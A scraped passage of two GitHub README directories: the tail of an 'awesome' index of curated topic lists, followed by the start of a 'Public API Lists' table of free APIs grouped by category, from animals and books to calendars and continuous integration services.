Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. ## Related - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.

# Public API Lists [](https://github.com/public-api-lists/public-api-lists/stargazers) [](https://github.com/public-api-lists/public-api-lists/fork) [](https://github.com/public-api-lists/public-api-lists/issues/new) [](https://github.com/public-api-lists/public-api-lists/pulls) A collective list of free APIs for use in software and web development. For information on contributing to this project, please see the [contributing guide](.github/CONTRIBUTING.md). ## Index - [Public API Lists](#public-api-lists) - [Index](#index) - [Animals](#animals) - [Anime](#anime) - [Anti-Malware](#anti-malware) - [Art & Design](#art--design) - [Books](#books) - [Business](#business) - [Calendar](#calendar) - [Cloud Storage & File Sharing](#cloud-storage--file-sharing) - [Continuous Integration](#continuous-integration) - [Cryptocurrency](#cryptocurrency) - [Currency Exchange](#currency-exchange) - [Data Validation](#data-validation) - [Development](#development) - [Dictionaries](#dictionaries) - [Disasters](#disasters) - [Documents & Productivity](#documents--productivity) - [Education](#education) - [Environment](#environment) - [Events](#events) - [Finance](#finance) - [Food & Drink](#food--drink) - [Fraud Prevention](#fraud-prevention) - [Games & Comics](#games--comics) - [Geocoding](#geocoding) - [Government](#government) - [Health](#health) - [Jobs](#jobs) - [Machine Learning](#machine-learning) - [Music](#music) - [News](#news) - [Open Data](#open-data) - [Open Source Projects](#open-source-projects) - [Patent](#patent) - [Personality](#personality) - [Photography](#photography) - [Science & Math](#science--math) - [Security](#security) - [Shopping](#shopping) - [Social](#social) - [Sports & Fitness](#sports--fitness) - [Test Data](#test-data) - [Text Analysis](#text-analysis) - [Tracking](#tracking) - [Transportation](#transportation) - [URL Shorteners](#url-shorteners) - [Vehicle](#vehicle) - [Video](#video) - [Weather](#weather) ### Animals | API | Description | Auth | HTTPS | CORS | | :----------------------------------------------------------------------------------------: | ------------------------------------------- | :------: | :---: | :-----: | | [Cat Facts](https://alexwohlbruck.github.io/cat-facts/) | Daily cat facts | No | Yes | No | | [Cats](https://docs.thecatapi.com/) | Pictures of cats from Tumblr | `apiKey` | Yes | Unknown | | [Cataas](https://cataas.com/) | Cat as a service (cats pictures and gifs) | No | Yes | Unknown | | [Dogs](https://dog.ceo/dog-api/) | Based on the Stanford Dogs Dataset | No | Yes | Yes | | [Foxes](https://foxes.cool) | Random fox images with different tags | No | Yes | Yes | | [HTTPCat](https://http.cat/) | Cat for every HTTP Status | No | Yes | Unknown | | [HTTP Dogs](https://http.dog/) | Dogs for every HTTP status code | No | Yes | Unknown | | [IUCN](http://apiv3.iucnredlist.org/api/v3/docs) | IUCN Red List of Threatened Species | `apiKey` | No | Unknown | | [Movebank](https://github.com/movebank/movebank-api-doc) | Movement and Migration data of animals | No | Yes | Unknown | | [Petfinder](https://www.petfinder.com/developers/v2/docs/) | Adoption | `OAuth` | Yes | Yes | | [RandomBigCat](https://randombig.cat/roar.json) | Random pictures of big cats | No | Yes | Yes | | [RandomCat](https://aws.random.cat/meow) | Random pictures of cats | No | Yes | Yes | | [RandomDog](https://random.dog/woof.json) | Random pictures of dogs | No | Yes | Yes | | [RandomFox](https://randomfox.ca/floof/) | Random pictures of foxes | No | Yes | No | | [RescueGroups](https://userguide.rescuegroups.org/display/APIDG/API+Developers+Guide+Home) | Adoption | No | Yes | Unknown | | [Shibe.Online](http://shibe.online/) | Random pictures of Shibu Inu, cats or birds | No | Yes | Yes | **[⬆ Back to Index](#index)** ### Anime | API | Description | Auth | HTTPS | CORS | | :-----------------------------------------------------------------------: | ------------------------------------------------- | :------: | :---: | :-----: | | [AniList](https://github.com/AniList/ApiV2-GraphQL-Docs) | Anime discovery & tracking | `OAuth` | Yes | Unknown | | [Animechan](https://animechan.vercel.app/docs) | Random anime quote generation | No | Yes | Unknown | | [AnimeNewsNetwork](https://www.animenewsnetwork.com/encyclopedia/api.php) | Anime industry news | No | Yes | Yes | | [Jikan](https://jikan.moe) | Unofficial MyAnimeList API | No | Yes | Yes | | [Kitsu](http://docs.kitsu.apiary.io/) | Anime discovery platform | `OAuth` | Yes | Unknown | | [What Anime](https://soruly.github.io/trace.moe-api/#/) | Scan anime image to get specific detail | `apiKey` | Yes | Unknown | | [Mangadex](https://api.mangadex.org/docs/) | ad-free manga reader offering high-quality images | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Anti-Malware | API | Description | Auth | HTTPS | CORS | | :-------------------------------------------------------------------: | ---------------------------- | :------: | :---: | :-----: | | [AbuseIPDB](https://docs.abuseipdb.com/) | IP/domain/URL reputation | `apiKey` | Yes | Unknown | | [Google Safe Browsing](https://developers.google.com/safe-browsing/) | Google Link/Domain Flagging | `apiKey` | Yes | Unknown | | [Metacert](https://metacert.com/) | Metacert Link Flagging | `apiKey` | Yes | Unknown | | [VirusTotal](https://www.virustotal.com/en/documentation/public-api/) | VirusTotal File/URL Analysis | `apiKey` | Yes | Unknown | | [Web Of Trust (WOT)](https://www.mywot.com/en/API) | Website reputation | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Art & Design | API | Description | Auth | HTTPS | CORS | | :------------------------------------------------------------------: | ------------------------------------- | :------: | :---: | :-----: | | [Behance](https://www.behance.net/dev) | Design | `apiKey` | Yes | Unknown | | [Cooper Hewitt](https://collection.cooperhewitt.org/api) | Smithsonian Design Museum | `apiKey` | Yes | Unknown | | [Dribbble](http://developer.dribbble.com/v2/) | Design | `OAuth` | No | Unknown | | [Europeana](https://pro.europeana.eu/resources/apis/search) | European Museum and Galleries content | `apiKey` | Yes | Unknown | | [Harvard Art Museums](https://github.com/harvardartmuseums/api-docs) | Art | `apiKey` | No | Unknown | | [Iconfinder](https://developer.iconfinder.com) | Icons | `apiKey` | Yes | Unknown | | [Icons8](http://docs.icons8.apiary.io/#reference/0/meta) | Icons | `OAuth` | Yes | Unknown | | [Noun Project](http://api.thenounproject.com/index.html) | Icons | `OAuth` | No | Unknown | | [Rijksmuseum](https://www.rijksmuseum.nl/en/api) | Art | `apiKey` | Yes | Unknown | | [Metropolitan Museum of Art](https://metmuseum.github.io/) | Art | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Books | API | Description | Auth | HTTPS | CORS | | :-----------------------------------------------------------------------: | ---------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Bhagavad Gita](https://bhagavadgita.io/api) | Bhagavad Gita text | `OAuth` | Yes | Yes | | [British National Bibliography](http://bnb.data.bl.uk/) | Books | No | No | Unknown | | [Goodreads](https://www.goodreads.com/api) | Books | `apiKey` | Yes | Unknown | | [Google Books](https://developers.google.com/books/) | Books | `OAuth` | Yes | Unknown | | [Open Library](https://openlibrary.org/developers/api) | Books, book covers and related data | No | Yes | Unknown | | [Penguin Publishing](http://www.penguinrandomhouse.biz/webservices/rest/) | Books, book covers and related data | No | Yes | Unknown | | [Rig Veda](https://aninditabasu.github.io/indica/) | Gods and poets, their categories, and the verse meters, with the mandal and sukta number | No | Yes | Unknown | | [Vedic Society](https://aninditabasu.github.io/indica/html/vs.html) | Descriptions of all nouns (names, places, animals, things) from vedic literature | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Business | API | Description | Auth | HTTPS | CORS | | :------------------------------------------------------------------------: | ----------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Charity Search](http://charityapi.orghunter.com/) | Non-profit charity data | `apiKey` | No | Unknown | | [Clearbit Logo](https://clearbit.com/docs#logo-api) | Search for company logos and embed them in your projects | `apiKey` | Yes | Unknown | | [Domain (LabStack)](https://labstack.com/domain) | Search domain for availability, lookup DNS & whois record of a domain | `apiKey` | Yes | Yes | | [Domainsdb.info](https://domainsdb.info/) | Registered Domain Names Search | No | Yes | Unknown | | [Freelancer](https://developers.freelancer.com) | Hire freelancers to get work done | `OAuth` | Yes | Unknown | | [Gmail](https://developers.google.com/gmail/api/) | Flexible, RESTful access to the user's inbox | `OAuth` | Yes | Unknown | | [Google Analytics](https://developers.google.com/analytics/) | Collect, configure and analyze your data to reach the right audience | `OAuth` | Yes | Unknown | | [MailboxValidator](https://www.mailboxvalidator.com/api-single-validation) | Validate email address to improve deliverability | `apiKey` | Yes | Unknown | | [mailgun](https://www.mailgun.com/) | Email Service | `apiKey` | Yes | Unknown | | [Mailjet](https://www.mailjet.com/) | Email Service | `apiKey` | Yes | Unknown | | [markerapi](http://www.markerapi.com/) | Trademark Search | No | No | Unknown | | [Repetiti](https://developers.repetiti.com) | Repetiti 3d Printer Management Service, access and control 3d Printers easily | `apiKey` | Yes | Yes | | [Ticksel](https://ticksel.com) | Friendly website analytics made for humans | No | Yes | Unknown | | [Trello](https://developers.trello.com/) | Boards, lists and cards to help you organize and prioritize your projects | `OAuth` | Yes | Unknown | | [Tomba Email finder](https://tomba.io/) | Email Finder for B2B sales and email marketing | `apiKey` | Yes | Yes | **[⬆ Back to Index](#index)** ### Calendar | API | Description | Auth | HTTPS | CORS | | :-----------------------------------------------------------------------------: | ------------------------------------------------------------------------------------------------------ | :------: | :---: | :-----: | | [Abstract's Holiday API](https://www.abstractapi.com/holidays-api) | National, regional, and religious holidays for 120+ countries & 100+ years | Yes | Yes | Yes | | [Byabbe](https://byabbe.se/on-this-day/#/default/get__month___day__events_json) | Seach histories from wikipedia for a particular day | No | Yes | Unknown | | [Calendar Index](https://www.calendarindex.com/) | Worldwide Holidays and Working Days | `apiKey` | Yes | Yes | | [Church Calendar](http://calapi.inadiutorium.cz/) | Catholic liturgical calendar | No | No | Unknown | | [Czech Namedays Calendar](http://svatky.adresa.info/) | Lookup for a name and returns nameday date | No | No | Unknown | | [Google Calendar](https://developers.google.com/google-apps/calendar/) | Display, create and modify Google calendar events | `OAuth` | Yes | Unknown | | [Hebrew Calendar](https://www.hebcal.com/home/developer-apis) | Convert between Gregorian and Hebrew, fetch Shabbat and Holiday times, etc | No | No | Unknown | | [Holiday API](https://holidayapi.pl/) | Enterprise-grade holiday and observance API for developers by developers | `apiKey` | Yes | Yes | | [Holidays](https://holidayapi.com/) | Historical data regarding holidays | `apiKey` | Yes | Unknown | | [Non-working Days](https://isdayoff.ru) | Simple API for checking working, non-working or short days for Russia, Ukraine, Belarus and Kazakhstan | No | Yes | Yes | | [Nager.Date](https://date.nager.at) | Public holidays for more than 90 countries | No | Yes | No | | [Namedays Calendar](https://api.abalin.net/) | Provides namedays for multiple countries | No | Yes | Yes | | [Non-Working Days](https://github.com/gadael/icsdb) | Database of ICS files for non working days | No | Yes | Unknown | | [Russian Calendar](https://github.com/egno/work-calendar) | Check if a date is a Russian holiday or not | No | Yes | No | **[⬆ Back to Index](#index)** ### Cloud Storage & File Sharing | API | Description | Auth | HTTPS | CORS | | :--------------------------------------------------: | ------------------------ | :------: | :---: | :-----: | | [AnonFiles](https://anonfiles.com/docs/api) | File Sharing and Storage | No | Yes | Unknown | | [Box](https://developer.box.com/) | File Sharing and Storage | `OAuth` | Yes | Unknown | | [Dropbox](https://www.dropbox.com/developers) | File Sharing and Storage | `OAuth` | Yes | Unknown | | [Google Drive](https://developers.google.com/drive/) | File Sharing and Storage | `OAuth` | Yes | Unknown | | [OneDrive](https://dev.onedrive.com/) | File Sharing and Storage | `OAuth` | Yes | Unknown | | [Pastebin](https://pastebin.com/api/) | Plain Text Storage | `apiKey` | Yes | Unknown | | [WeTransfer](https://developers.wetransfer.com) | File Sharing | `apiKey` | Yes | Yes | **[⬆ Back to Index](#index)** ### Continuous Integration | API | Description | Auth | HTTPS | CORS | | :-----------------------------------------------------: | ---------------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [CircleCI](https://circleci.com/docs/api/v1-reference/) | Automate the software development process using continuous integration and continuous delivery | `apiKey` | Yes | Unknown | | [Codeship](https://apidocs.codeship.com/) | Codeship is a Continuous Integration Platform in the cloud | `apiKey` | Yes | Unknown | | [Travis CI](https://docs.travis-ci.com/api/) | Sync your GitHub projects with Travis CI to test your code in minutes | `apiKey` | Yes | Unknown | 